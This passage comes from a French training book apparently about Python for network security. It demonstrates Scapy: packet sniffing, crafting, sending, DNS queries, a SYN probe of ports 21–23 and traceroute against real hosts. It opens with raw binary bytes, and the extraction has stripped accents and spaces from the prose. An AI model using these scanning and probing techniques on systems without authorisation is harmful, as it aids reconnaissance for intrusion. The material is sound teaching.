e5\x12%\x13g\x86\xd0\xd8\xdd\xdb\x14\xe5\x8f\xc7h\x14\x81\xb5\xe6\
xe9\xd7\\\N.N\x8d\xe1\x0eh\xfa\xa1\xf6\x1bSp\x80R=\x04\xf6\xf0\xe
7L\xe1\xcf\xd7\x99{N\x19A$tB\xfa\x19O>c\xafQ\x9a\x0c\x05>w\xa4\4A
fQ8\x17\x87\xfby\x86\x1e:\x9c|\x9aG\x9d=\xc3O\\xba\x0c\xb7\xfd\xd
8a\xf7\xd4\xbc\xfe\xb5\xb1\xafb\xa0\x95X\x04u"\x97~\xf29*\x1c\xb6(
\x95\xea\xb2d\xa4\x92y\xd2a\x9e\x17H\xc16Z/d\xfe\xe2\xe1\xf8\xe8\x
85\xc5[gq#\xca\x16Mm)\x1a+\x92,C\x1d\x04\r\xf7\xd30z\xff\xd2Y\xe8N
\x99\xa4\xa4\x94\x01W\x0c\xc9\xec{I\x98\xa9\t~C\xcb+\xfe.\x0ct\xbe
\xbb\xc5\x9bR\x9c\x983\xe9\xe1+\xa5\xbd\xb5{\x87\xb4I
\xf3s\\\xdcT\xfdJ\xf5H(On\x00\xc7\xf1\xe0\xff\x92\x92\xf5\xf7\xaf\
x8ah\xce?
N\xe3\xd9\xf3\x8aXL\x16p\xd4\\x1d\xd3\xea\xd4B\xdb62\x03\x05\x82\
xea\x0e\xbd\xd9y\xba\x9c\xc6\x1e\x8eJ\x81\x89\xc5\\\xd7\x1f|\x8a\x
0f\x94\\xa5\xfc\x9fKYBV\xef\xf1\xa3w\xb5\x90\x87\xfe\xf76\xc5\x15
\xb3\xe5T0&\x98[\x9eD\xe7\xef\x86F\x88\xe2\x99\x9f|\x83\xc5\x08u\x
16h\x1d\x98\x9e\xd5\xc0\x17]0\xe2\xc3\x0f\xd0+\xabM~\xcd\xb2\xe0\x
8b\x8e\xe2\xd0\xc8N\x9c\xca\x0c\x05\x18\xce|\xf4\xd7\t\xe6\xe8\xf2
Q\x1f\xa1\x93J)\xf1\xbd\x1c\t\xcc\x86\x9eD\xc16\xbf\xf0\x91*T\xc9\
xb9\xab\xec\x08\x13\xcc\xb9s`zFFev\xb7\x05\xbb\xecq\x07\xffL\xd0\x
83\x83H\xa7j\xb0`\xf0`\x8e\x8d\xec\x1dn
\xd5\x00\xb4p\xbd\xec\xb2\xac\xc3a\xc0m\x88\x13\xcc\xa1l\x9a\x9b\x
f2\xe0V\x9aXDh\xe5X=\xe5\xb0\x83\x83h\xe9=)\xd3\x97r\x1d#;\xb4\x1c
\x80\xc5\r\xa5\x8auh\xa7\x10\xb6\xd1j\\xdf"1\x8d\xcb\x92\xe84\x04
S\x1a=\x81\x82\\\x1f\xbd\x03\x9640\xbe\x8d\x94$\x9ad\x97\xf1
\xa7lN\xce*_,\xbdl\xf5\x82i\xf8\xf1!\x1e+\xe0_\xb8M\x86\xdbV?\xbfK
\x88|\x99\xa5\x04g7\xf049\xec*\xbf\xb8\xfe~S\xd6/VQ\xcb\x17\xc6\x9
d\x85\x9a\xf5b\x10\x85\xbb\xbf|\xb3\xd3\xc1\xf4\x1d\x05\x06\xf4\xd
ab#\x9e\x9b\xb9\x8b\xf5P47\x1b\xe8\xc9G\x89\xe7\x96/Wt\x8bX\xde*\x
01\xec\xc7u\xdeEs\x18U\xcc=\xad\x0fR\x9d\xba\x81<\xf7\xb2)\x89\xbf
\xec\xea\xc0h~\x18s\xa2$\xe5\xcd\xc3tS\xb8i\x90\xdb\r4r\xe4f\xa1\x
fa\x91\xfe\xa4\x90u\xd5~\xa7\xe8W\x89\xc2\xd6\x95m.h\xd8\xb3\x94\x
b0\xeb\xb2$
{\xdf\x90\xc6%\xc0$Xn\xa1\xd4O\xe3\x17z\x1d\xc3\x17J\xcc3\x06\xd5\
xb0\xf0\xc8u\x98\xdc\x9d\x08N\x92\x8e\x7fB{\x98\xef\xa0>\xdc\xcc\x
99"\x16\xe64gL&\xf8vE\x85-\xbc!
v\xaa\xb4$Z\xf4o3<}\xd146z\x88\x91\xbf5\xe0\xa6*\xd3\xe8\x8d\xf5/
(`{J2\x8d!\xaa\xb7\x00\x10\xc9\xdc\xa3\x04\xea\x0fH*\x19\xc1\xed_\
xce\xcf\x10\xda\xa0\xf2\x7fv\x86\x1d~\xf5\xa5OM\xb0\xcb\x0cc\xfe\x
c1d\xdf\xdc\x1d\xc9\xca\xefU\x8cXJ\x9f\x86\xe4ba\xcf\xf4\xfcB\xce<
\xe7\xae\xcb\xd9/<
>>> r=Ether(str(lp[0]))
>>> r==lp[0]
True
>>>

ENI Editions - All rights reserved - chantal gournier

- 15 -

Nousavonsicisniff()quivanouspermettredefairedelacapturerseau,nouspouvonsdfinirlenombrede
paquetsquenousvoulonscapturer,parexemple( count=50).

>>> lp.summary()
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
aa:00:04:00:0a:04 > ab:00:00:03:00:00 (0x6003) / Raw
Ether / 195.221.189.254 > 224.0.0.1 igmp / Raw / Padding
Ether / ARP who has 195.221.189.68 says 195.221.189.254 / Padding
Ether / 195.221.189.254 > 224.0.0.10 eigrp / Raw
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
Ether / ARP who has 195.221.189.248 says 195.221.189.155
Ether / ARP is at 00:03:ba:4e:db:91 says 195.221.189.248 / Padding
Ether / IP / ICMP 80.91.246.69 > 195.221.189.44 time-exceeded ttlzero-during-transit / IPerror / UDPerror
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
802.3 00:13:7f:64:5a:d2 > 01:00:0c:cc:cc:cc / LLC / SNAP / Raw
Ether / ARP who has 195.221.189.118 says 195.221.189.254 / Padding
Ether / ARP who has 195.221.189.68 says 195.221.189.254 / Padding
Ether / IP / UDP 195.221.189.87:50271 > 255.255.255.255:netbios_ns /
NBNSQueryRequest
Ether / ARP who has 195.221.189.155 says 195.221.189.115 / Padding
Ether / ARP is at 00:26:b9:eb:6f:68 says 195.221.189.155
Ether / ARP who has 192.168.23.18 says 192.168.23.254 / Padding
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP /
DHCP
802.3 00:13:7f:64:5a:d2 > 01:80:c2:00:00:00 / LLC / STP / Padding
Ether / ARP who has 195.221.189.20 says 195.221.189.238 / Padding
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / IPv6 / UDP ::1:46277 > ::1:46277 / Raw
Ether / 195.221.189.254 > 224.0.0.13 pim / Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https PA /
Raw
Ether / 195.221.189.254 > 224.0.0.10 eigrp / Raw
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 PA /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
Ether / IP / TCP 173.194.34.1:https > 195.221.189.155:46975 PA /
Raw
Ether / IP / TCP 195.221.189.155:46975 > 173.194.34.1:https A
Ether / IP / TCP 69.171.229.16:https > 195.221.189.155:35225 PA /
Raw
Ether / IP / TCP 195.221.189.155:35225 > 69.171.229.16:https A
Ether / IPv6 / UDP fe80::214:38ff:fe03:f244:mdns > ff02::fb:mdns /
Raw

- 16 -

ENI Editions - All rights reserved - chantal gournier

>>>

str() permet dafficher en chane de caractres, wrpcap() de sauvegarder les paquets et rdpcap() de
chargerdespaquets.
NouspouvonsbiensrutiliserScapydansunscriptPythonclassique,ilsuffira pourceladcrirenotrescripten
importantlabibliothqueScapy.
chap2_exo1.py

#!/usr/bin/python
import sys
from scapy.all import *
p=IP(dst=www.google.fr)/ICMP()
send(p)

Rsultat

fasm@moya:~/ENI_livre_formation/livre_python/exemples/chapitre2$su
do ./chap2_exo1.py
WARNING: No route found for IPv6 destination :: (no default route?)
.
Sent 1 packets.

d.Entronsdansledtail
Loprateur/permet dassembler deuxcouchesentreelles,parexempleIP()/TCP().
Lacouchelaplusbassepeutavoirunouplusdeseschampspardfautchargsdanslacouchelaplushaute,IP
=>TCP.

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=tcp |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=tcp |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\r\n\n"
<IP frag=0 proto=tcp |<TCP |<Raw load=GET / HTTP/1.0\r\r\n\n
|>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=ipencap |<IP frag=0
proto=udp |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>
>>>

Nousallonsmaintenanttravaillersurlafaondafficherlesrsultats.

>>> str(IP())
E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x
00\x01
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64
proto=ip chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>

ENI Editions - All rights reserved - chantal gournier

- 17 -

NouspouvonsafficherIP()auformatchanedecaractres.
GrceIP(_)nouspouvonsvisualiserlesdiffrentschampsdelatrameIP.

>>> a=Ether()/IP(dst="www.eni.fr")/TCP()/"GET /index.html


HTTP/1.0\n\n"
>>> hexdump(a)
0000
00 0B CD B1 24 33 00 26 B9 EB 6F 68 08 00 45 00
....
$3.&..oh..E.
0010
00 42 00 01 00 00 40 06 50 67 C3 DD BD 9B 5A 53
.B....@.Pg....ZS
0020
4E 82 00 14 00 50 00 00 00 00 00 00 00 00 50 02
N....P........P.
0030
20 00 B3 64 00 00 47 45 54 20 2F 69 6E 64 65 78
..d..GET /index
0040
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 0A 0A
.html
HTTP/1.0..
>>>

Nouspouvonsaussilesvisualiserenhexadcimalgrcehexdump().
Nousavons,dansceformatdaffichage,lestramesenhexadcimalgaucheet,droite,latraductionenchane
decaractresquandcelaestpossible.NousretrouvonsparexempleleGET/indexHTTP/1.0.
Nous pouvons bien sr visionner cela tout comme une chane de caractres (str()), ou avoir le dtail de la
trame (Ether()), et si cela est trop lourd regarder, nous pouvons cacher les valeurs par dfaut
(hide_defaults()).

>>> b=str(a)
>>> b
\x00\x0b\xcd\xb1$3\x00&\xb9\xeboh\x08\x00E\x00\x00B\x00\x01\x00\x
00@\x06Pg\xc3\xdd\xbd\x9bZSN\x82\x00\x14\x00P\x00\x00\x00\x00\x00\
x00\x00\x00P\x02 \x00\xb3d\x00\x00GET /index.html HTTP/1.0\n\n
>>> c=Ether(b)
>>> c
<Ether dst=00:0b:cd:b1:24:33 src=00:26:b9:eb:6f:68 type=0x800 |
<IP version=4L ihl=5L tos=0x0 len=66 id=1 flags= frag=0L ttl=64
proto=tcp chksum=0x5067 src=195.221.189.155 dst=90.83.78.130
options=[] |<TCP sport=ftp_data dport=www seq=0 ack=0 dataofs=5L
reserved=0L flags=S window=8192 chksum=0xb364 urgptr=0 options=[]
|<Raw load=GET /index.html HTTP/1.0\n\n |>>>>
>>> c.hide_defaults()
>>> c
<Ether dst=00:0b:cd:b1:24:33 src=00:26:b9:eb:6f:68 type=0x800 |
<IP ihl=5L len=66 frag=0 proto=tcp chksum=0x5067
src=195.221.189.155 dst=90.83.78.130 |<TCP dataofs=5L
chksum=0xb364 options=[] |<Raw load=GET /index.html
HTTP/1.0\n\n |>>>>
>>>

Pourlemoment,nousavonsjustegnrdespaquets.Nouspouvons,sinousledsirons,personnaliserchaque
champdupaquet.
Nouspouvons,parexemple,dfinirlIPdedestination,changerleTTL,leport...
Changementdeladestination

>>> a=IP(dst="www.google.fr")
>>> a
<IP dst=Net(www.google.fr) |>
>>> [p for p in a]

- 18 -

ENI Editions - All rights reserved - chantal gournier

[<IP dst=173.194.34.56 |>]


>>> a=IP(dst="www.google.com")
>>> a
<IP dst=Net(www.google.com) |>
>>> [p for p in a]
[<IP dst=173.194.34.52 |>]
>>> a=IP(dst="www.eni.fr")
>>> a
<IP dst=Net(www.eni.fr) |>
>>> [p for p in a]
[<IP dst=90.83.78.130 |>]
>>>
<IP dst=Net(www.eni.fr/30) |>
>>> [p for p in a]
[<IP dst=90.83.78.128 |>, <IP dst=90.83.78.129 |>, <IP
dst=90.83.78.130 |>, <IP dst=90.83.78.131 |>]
>>>

ChangementduTTL(TimeToLive)

>>> b=IP(ttl=[1,2,(5,9)])
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP
ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]

ttl=6 |>, <IP

Assemblage

>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=https |>>]

Danslexemplecidessus,nouscouplonslaconfigurationpouraetc nousaurionspucrire :

>>> [p for p in IP(dst="www.eni.fr/30")/TCP(dport=[80,443])]


[<IP frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.128 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.129 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.130 |<TCP dport=https |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=www |>>, <IP
frag=0 proto=tcp dst=90.83.78.131 |<TCP dport=https |>>]
>>>

Contenudupaquet

>>> a.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None

ENI Editions - All rights reserved - chantal gournier

- 19 -

id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 195.221.189.155
dst= Net(www.eni.fr/30)
\options\

Maintenantquenoussavonsmanipulerlespaquets,voyonsendtailcomment lesenvoyer.
Lafonction send()permetdenvoyerlespaquetssurlacouche3.Lafonction sendp(),quantelle,utilisera
lacouche2.vousdoncdedterminerlafonction utilisersuivantvosbesoins.

>>> send(IP(dst="195.221.189.248")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="195.221.189.248",ttl=(1,4)),iface="eth0")
....
Sent 4 packets.

Nousvoyonsdanslexemplecidessus que si nous utilisons send(),nousdevonsdfinirquenoustravaillons


parexempleavecleprotocoleICMP.
Enutilisant sendp(),nouspouvonssibesoinfournirdesoptions IP()tellesquelinterfaceutilise,leTTL.
Avecttl=(1,4)nousenvoyonsici4paquets.

>>> sendp("Eni est sur le net",iface="eth0",loop=1, inter=0.2)


........................C
Sent 15 packets

Nouspouvonsutiliserlafonction sr()quipermetdenvoyeretderecevoirdespaquets.Lafonction sr1()en


estunevariantequineretournequunpaquet enretouraupaquetenvoy.
Lepaquetdoittreunpaquetdelacouche3(IP,ARP...).
Lafonctionsrp()faitdemme,maispourlacouche2.
Testsureni.fr

>>> p=sr1(IP(dst="www.eni.fr")/ICMP()/"ENIENIENIENI")
Begin emission:
..Finished to send 1 packets.
...........*
Received 111 packets, got 0 answers, remaining 1 packets
>>>

Nousnavonsiciaucunpaquetenretour(got0answers).Tentonssuruneautremachine :
Testeninterne

>>> p=sr1(IP(dst="koala.univ-valenciennes.fr")/ICMP()/
"ENIENIENIENI")
Begin emission:
...Finished to send 1 packets.
*

- 20 -

ENI Editions - All rights reserved - chantal gournier

Received 4 packets, got 1 answers, remaining 0 packets


>>> p
<IP version=4L ihl=5L tos=0x0 len=40 id=40214 flags=DF frag=0L
ttl=255 proto=icmp chksum=0xdb6e src=195.221.189.248
dst=195.221.189.155 options=[] |<ICMP type=echo-reply code=0
chksum=0x4646 id=0x0 seq=0x0 |<Raw load=ENIENIENIENI |<Padding
load=\x00\x00\x00\x00\x00\x00 |>>>>
>>> p.show()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 40
id= 40214
flags= DF
frag= 0L
ttl= 255
proto= icmp
chksum= 0xdb6e
src= 195.221.189.248
dst= 195.221.189.155
\options\
###[ ICMP ]###
type= echo-reply
code= 0
chksum= 0x4646
id= 0x0
seq= 0x0
###[ Raw ]###
load= ENIENIENIENI
###[ Padding ]###
load= \x00\x00\x00\x00\x00\x00
>>>

Nousvoyonsiciunpaquetenretour,doncunerponse,nouspouvonsdoncvoirlecontenudelarponseavec
p.show()parexemple.
NouspouvonsobserverquilyaeuunersolutionDNS.NouspouvonsinterrogerceDNSgrceDNS().

>>> p=sr1(IP(dst="koala.univ-valenciennes.fr")/UDP()/
DNS(rd=1,qd=DNSQR(qname="www.univ-valenciennes.fr")))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=268 id=40367 flags=DF frag=0L
ttl=255 proto=udp chksum=0xd9e1 src=195.221.189.248
dst=195.221.189.155 options=[] |<UDP sport=domain dport=domain
len=248 chksum=0xf7ea |<DNS id=0 qr=1L opcode=QUERY aa=1L tc=0L
rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=2 nscount=4 arcount=4
qd=<DNSQR qname=www.univ-valenciennes.fr. qtype=A qclass=IN |>
an=<DNSRR rrname=www.univ-valenciennes.fr. type=CNAME rclass=IN
ttl=86400 rdata=blade2.univ-valenciennes.fr. |<DNSRR
rrname=blade2.univ-valenciennes.fr. type=A rclass=IN ttl=86400
rdata=193.50.192.166 |>> ns=<DNSRR rrname=univvalenciennes.fr. type=NS rclass=IN ttl=86400 rdata=titan.univvalenciennes.fr. |<DNSRR rrname=univ-valenciennes.fr. type=NS
rclass=IN ttl=86400 rdata=pulsar.univ-valenciennes.fr. |<DNSRR
rrname=univ-valenciennes.fr. type=NS rclass=IN ttl=86400
rdata=reserv1.univ-lille1.fr. |<DNSRR rrname=univvalenciennes.fr. type=NS rclass=IN ttl=86400 rdata=reserv2.univlille1.fr. |>>>> ar=<DNSRR rrname=titan.univ-valenciennes.fr.
type=A rclass=IN ttl=86400 rdata=193.50.192.38 |<DNSRR
rrname=pulsar.univ-valenciennes.fr. type=A rclass=IN ttl=86400
rdata=193.50.192.1 |<DNSRR rrname=reserv1.univ-lille1.fr.
type=A rclass=IN ttl=141972 rdata=193.49.225.15 |<DNSRR

ENI Editions - All rights reserved - chantal gournier

- 21 -

rrname=reserv2.univ-lille1.fr. type=A rclass=IN ttl=141972


rdata=193.49.225.90 |>>>> |>>>
>>>

Nous avons donc indiqu cidessus ladresse du DNS et nous avons demand les informations sur www.univ
valenciennes.fr.
NouspouvonsdoncvisualisericitouteslesinformationsreueslorsdelarequteDNS.
Nouspouvonsrcuprerindpendammentchaquelmentdelalisteainsiobtenue :

>>> p[2][8][3]
<DNSRR rrname=reserv2.univ-lille1.fr. type=A rclass=IN
ttl=141972 rdata=193.49.225.90 |>

Lafonction sr(sendandreceive)retournedeuxlistes.Lapremireestunelistedescouplespaquetsenvoyset
reus,etladeuximeunelistedespaquetssansrponse.

>>> sr(IP(dst="195.221.189.248")/TCP(dport=[21,22,23]))
Begin emission:
..**.Finished to send 3 packets.
*
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: TCP:3 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0
ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ftp S ==> IP /
TCP 195.221.189.248:ftp > 195.221.189.155:ftp_data SA / Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ssh S ==> IP /
TCP 195.221.189.248:ssh > 195.221.189.155:ftp_data SA / Padding
IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:telnet S ==>
IP / TCP 195.221.189.248:telnet > 195.221.189.155:ftp_data SA /
Padding
>>>

Nouspouvonsdfiniruntempsdattenteentredeuxpaquetsgrceauparamtreinter.Nouspouvonsenvoyer
denouveaulespaquetssansrponsesgrceauparamtreretry.
Nouspouvonsenvoyeretrecevoirdansuneboucle :

>>> srloop(IP(dst="www.univ-valenciennes.fr/30")/TCP())
fail 4: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.164:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
RECV 1: IP / ICMP 193.50.192.66 > 195.221.189.155 dest-unreach
host-unreachable / IPerror / TCPerror
fail 3: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
fail 4: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.164:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
RECV 1: IP / ICMP 193.50.192.66 > 195.221.189.155 dest-unreach
host-unreachable / IPerror / TCPerror
fail 3: IP / TCP 195.221.189.155:ftp_data > 193.50.192.166:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.165:www
IP / TCP 195.221.189.155:ftp_data > 193.50.192.167:www
send...

- 22 -

S
S
S
S

S
S
S
S
S
S
S

S
S
S

ENI Editions - All rights reserved - chantal gournier

Sent 16 packets, received 2 packets. 12.5% hits.


(<Results: TCP:0 UDP:0 ICMP:2 Other:0>, <PacketList: TCP:14 UDP:0
ICMP:0 Other:0>)
>>>

NousvenonsdefaireletourdesprincipalescommandesdeScapy.Nousallonsmaintenantentrerdanslevifdu
sujet et aborder la scurit avec Scapy. Nous passerons sous silence des fonctions telles que psdump() ou
pdfdump() ou encore tout ce qui est affichage 3D. Mais sachez quil existe beaucoup dautres fonctions que
nousnaborderonspasdanscechapitre,carpastrsutilespournotresujet.

4.Utilisationavance:scuritrseau
a.traceroute
traceroute est un outil rseau, disponible sous Linux et sous Windows, qui permet de suivre le chemin quun
paquetdedonnes(paquetIP)vaprendrepourallerdunemachineAunemachineB.
Par dfaut, le paquet est envoy sur Internet mais le chemin emprunt par le paquet peut varier, en cas de
pannedunlienoubienencasdechangementdesconnexionsdelundesoprateurs.
Aprs avoir t expdi au fournisseur daccs, le paquet est transmis des routeurs intermdiaires qui vont
lacheminerjusqusadestination.Lepaquetpeutsubirdestransformationslorsdesonvoyage.Ilsepeutaussi
quilnarrivejamaisdestinationsilenombreden udsintermdiairesesttropimportant.
NousallonstudierlespossibilitsdeffectueruntraceroutelaidedeScapy.

>>> ans,unans=sr(IP(dst="www.google.fr", ttl=(4,25),


id=RandShort())/TCP(flags=0x2))
Begin emission:
.****..Finished to send 22 packets.
................................................................
................................................................
................................................................
C
Received 1115 packets, got 4 answers, remaining 18 packets
>>> for snd,rcv in ans:
...
print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
4 193.51.189.118 False
5 193.51.189.174 False
6 193.51.182.197 False
7 72.14.238.234 False
>>>

MaisScapyadjsafonctiontracerouteintgre.
Contrairementauxautresprogrammestraceroute,Scapyenvoietoussespaquets enmmetemps.Lavantage
principalestquenouspouvonsluiindiquerdemultiplesciblestraiterenmmetemps.

>>> traceroute(["www.google.fr","www.eni.fr",
"www.univ-valenciennes.fr"])
Begin emission:
****************************************************************
**.**.*.**Finished to send 90 packets.
**.............................................
Received 123 packets, got 75 answers, remaining 15 packets
173.194.34.56:tcp80 193.50.192.166:tcp80 90.83.78.130:tcp80
1 195.221.189.115 11 195.221.189.115 11
195.221.189.115 11
2 195.221.189.254 11 195.221.189.254 11
195.221.189.254 11
3 193.51.250.129 11 192.168.206.2
11
193.51.250.129 11
ENI Editions - All rights reserved - chantal gournier

- 23 -

4 193.50.192.66
11
5 193.51.189.118 11 193.50.192.166 SA
193.51.189.118 11
6 193.51.189.174 11 193.50.192.166 SA
195.10.54.65
11
7 193.50.192.166 SA
195.2.9.58
11
8 193.51.182.197 11 193.50.192.166 SA
9 72.14.238.234
11 193.50.192.166 SA
193.251.128.117 11
10 193.50.192.166 SA
11 173.194.34.56
SA 193.50.192.166 SA
12 173.194.34.56
SA 193.50.192.166 SA
13 173.194.34.56
SA 193.50.192.166 SA
14 173.194.34.56
SA 193.50.192.166 SA
15 173.194.34.56
SA 193.50.192.166 SA
16 173.194.34.56
SA 193.50.192.166 SA
17 173.194.34.56
SA 193.50.192.166 SA
18 173.194.34.56
SA 193.50.192.166 SA
19 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
20 193.50.192.166 SA
90.83.78.130
SA
21 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
22 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
23 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
24 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
25 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
26 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
27 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
28 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
29 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
30 173.194.34.56
SA 193.50.192.166 SA
90.83.78.130
SA
(<Traceroute: TCP:57 UDP:0 ICMP:18 Other:0>, <Unanswered: TCP:15
UDP:0 ICMP:0 Other:0>)
>>>

Nouspouvonsensuitercuprerlersultatpourlegrer :

>>> result,unans=_
>>> result.show()
173.194.34.56:tcp80
1 195.221.189.115 11
2 195.221.189.254 11
3 193.51.250.129 11
4 5 193.51.189.118 11
6 193.51.189.174 11
7 8 193.51.182.197 11
9 72.14.238.234
11
10 11 173.194.34.56
SA
12 173.194.34.56
SA
13 173.194.34.56
SA
14 173.194.34.56
SA
15 173.194.34.56
SA
16 173.194.34.56
SA
17 173.194.34.56
SA
18 173.194.34.56
SA
19 173.194.34.56
SA
20 21 173.194.34.56
SA
22 173.194.34.56
SA
23 173.194.34.56
SA
24 173.194.34.56
SA
25 173.194.34.56
SA
26 173.194.34.56
SA
27 173.194.34.56
SA
28 173.194.34.56
SA
29 173.194.34.56
SA
30 173.194.34.56
SA

- 24 -

193.50.192.166:tcp80
195.221.189.115 11
195.221.189.254 11
192.168.206.2
11
193.50.192.66
11
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA

90.83.78.130:tcp80
195.221.189.115 11
195.221.189.254 11
193.51.250.129 11
193.51.189.118 11
195.10.54.65
11
195.2.9.58
11
193.251.128.117 11
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA

ENI Editions - All rights reserved - chantal gournier

Commeavecnimportequelautreobjet,nouspouvons,sinouslesouhaitons,ajouterensuitelesrsultats :

>>> r2, unans=traceroute(["www.google.fr"],maxttl=20)


Begin emission:
***************Finished to send 20 packets.
*...................
Received 35 packets, got 16 answers, remaining 4 packets
173.194.34.56:tcp80
1 195.221.189.115 11
2 195.221.189.254 11
3 193.51.250.129 11
5 193.51.189.118 11
6 193.51.189.174 11
8 193.51.182.197 11
9 72.14.238.234
11
11 173.194.34.56
SA
12 173.194.34.56
SA
14 173.194.34.56
SA
15 173.194.34.56
SA
